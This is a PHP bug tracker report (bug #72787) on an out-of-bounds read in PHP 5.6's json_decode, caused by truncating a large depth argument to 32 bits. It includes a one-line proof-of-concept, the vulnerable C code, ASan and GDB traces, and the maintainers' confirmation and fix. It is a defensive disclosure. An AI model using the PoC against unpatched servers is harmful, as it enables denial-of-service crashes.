php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72787 json_decode reads out of bounds
Submitted: 2016-08-08 19:33 UTC Modified: 2016-08-14 12:13 UTC
From: fernando at null-life dot com Assigned: bukka (profile)
Status: Closed Package: JSON related
PHP Version: 5.6.24 OS: Linux x86_64
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-08-08 19:33 UTC] fernando at null-life dot com
Description:
------------
When depth parameter is greater than 0xffffffff, cast to int (32 bytes) happen. Moreover, if last four bytes of depth parameter are 0x0, then new_JSON_parser function allocates 0 bytes. Later, parse_JSON_ex reads out of bounds.

Source code:
https://github.com/php/php-src/blob/PHP-5.6.25/ext/json/JSON_parser.c#L249

JSON_parser
new_JSON_parser(int depth)
{
    JSON_parser jp = (JSON_parser)emalloc(sizeof(struct JSON_parser_struct));
    jp->state = GO;
    jp->depth = depth;
    jp->top = -1;
        jp->error_code = PHP_JSON_ERROR_NONE;
    jp->stack = (int*)ecalloc(depth, sizeof(int));           // depth = 0
    if (depth > JSON_PARSER_DEFAULT_DEPTH) {
        jp->the_zstack = (zval **)safe_emalloc(depth, sizeof(zval), 0);
    } else {
        jp->the_zstack = &jp->the_static_zstack[0];
    }
    push(jp, MODE_DONE);
    return jp;
}

Test script:
---------------
poc.php

<?php
json_decode('""', false, 0x100000000);

Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

==8971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ff10 at pc 0x000000bc1e79 bp 0x7ffd151ad790 sp 0x7ffd151ad780
READ of size 4 at 0x60200000ff10 thread T0
    #0 0xbc1e78 in parse_JSON_ex /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655
    #1 0xbb4a3a in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:709
    #2 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
    #3 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #9 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)

0x60200000ff11 is located 0 bytes to the right of 1-byte region [0x60200000ff10,0x60200000ff11)
allocated by thread T0 here:
    #0 0x7f16402df602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x17fcf69 in _ecalloc /home/operac/build2/php-src-56/Zend/zend_alloc.c:2610
    #2 0xbbbb4c in new_JSON_parser /home/operac/build2/php-src-56/ext/json/JSON_parser.c:249
    #3 0xbb4a10 in php_json_decode_ex /home/operac/build2/php-src-56/ext/json/json.c:708
    #4 0xbb83d2 in zif_json_decode /home/operac/build2/php-src-56/ext/json/json.c:848
    #5 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #6 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #7 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #8 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #9 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #10 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #11 0x7f163dd1582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build2/php-src-56/ext/json/JSON_parser.c:655 parse_JSON_ex
...

GDB output:

USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build2/bin/php -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build2/bin/php...done.
gdb-peda$ b json.c:708
Breakpoint 2 at 0xbb4a09: file /home/operac/build2/php-src-56/ext/json/json.c, line 708.
gdb-peda$ b new_JSON_parser
Breakpoint 3 at 0xbbb930: file /home/operac/build2/php-src-56/ext/json/JSON_parser.c, line 243.
gdb-peda$ r
...
Breakpoint 2, php_json_decode_ex (return_value=return_value@entry=0x60300004cd50, str=0x7ffff7e683a8 "\"\"", str_len=0x2, options=<optimized out>, depth=0x100000000) at /home/operac/build2/php-src-56/ext/json/json.c:708
708             jp = new_JSON_parser(depth);
gdb-peda$ p depth
$1 = 0x100000000
gdb-peda$ c
Continuing.
...
Breakpoint 3, new_JSON_parser (depth=depth@entry=0x0) at /home/operac/build2/php-src-56/ext/json/JSON_parser.c:243
243     {
gdb-peda$ p depth
$2 = 0x0                             // Cast to 32bits
gdb-peda$ b _ecalloc
Breakpoint 4 at 0x17fce90: file /home/operac/build2/php-src-56/Zend/zend_alloc.c, line 2603.
gdb-peda$ c
...
Breakpoint 4, _ecalloc (nmemb=nmemb@entry=0x0, size=size@entry=0x4, __zend_filename=__zend_filename@entry=0x21ad500 "/home/operac/build2/php-src-56/ext/json/JSON_parser.c", __zend_lineno=__zend_lineno@entry=0xf9,
    __zend_orig_filename=__zend_orig_filename@entry=0x0, __zend_orig_lineno=__zend_orig_lineno@entry=0x0) at /home/operac/build2/php-src-56/Zend/zend_alloc.c:2603
2603    {
gdb-peda$ p nmemb
$3 = 0x0                       // Allocate 0 bytes

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-08 20:03 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-08-08 21:52 UTC] cmb@php.net
-Status: Open +Status: Verified
 [2016-08-08 21:52 UTC] cmb@php.net
I can confirm the issue checking with valgrind.
 [2016-08-14 11:55 UTC] bukka@php.net
Just note that this is related just to 5.6 and there should be no issue in 7.0 (new parser). Considering that almost all Linux users are using json-c which shouldn't have that issue either, I'm not going to invest my time to fixing this. However if anyone else wants to fix it before 5.6 goes to security only, you are more than welcome!
 [2016-08-14 12:13 UTC] bukka@php.net
-Status: Verified +Status: Assigned -Assigned To: +Assigned To: bukka
 [2016-08-14 12:13 UTC] bukka@php.net
actually I will fix it, it's really simple :)
 [2016-08-14 12:53 UTC] bukka@php.net
Automatic comment on behalf of bukka
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9f1d962ed6057a3996f1b5aa82467a3172e41e8f
Log: Fixed bug #72787 (json_decode reads out of bounds)
 [2016-08-14 12:53 UTC] bukka@php.net
-Status: Assigned +Status: Closed
 [2016-08-14 13:00 UTC] bukka@php.net
Automatic comment on behalf of bukka
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9f1d962ed6057a3996f1b5aa82467a3172e41e8f
Log: Fixed bug #72787 (json_decode reads out of bounds)
 [2016-08-14 13:02 UTC] bukka@php.net
Automatic comment on behalf of bukka
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9f1d962ed6057a3996f1b5aa82467a3172e41e8f
Log: Fixed bug #72787 (json_decode reads out of bounds)
 [2016-08-14 13:03 UTC] bukka@php.net
Automatic comment on behalf of bukka
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9f1d962ed6057a3996f1b5aa82467a3172e41e8f
Log: Fixed bug #72787 (json_decode reads out of bounds)
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of bukka
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9f1d962ed6057a3996f1b5aa82467a3172e41e8f
Log: Fixed bug #72787 (json_decode reads out of bounds)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 07 19:01:28 2024 UTC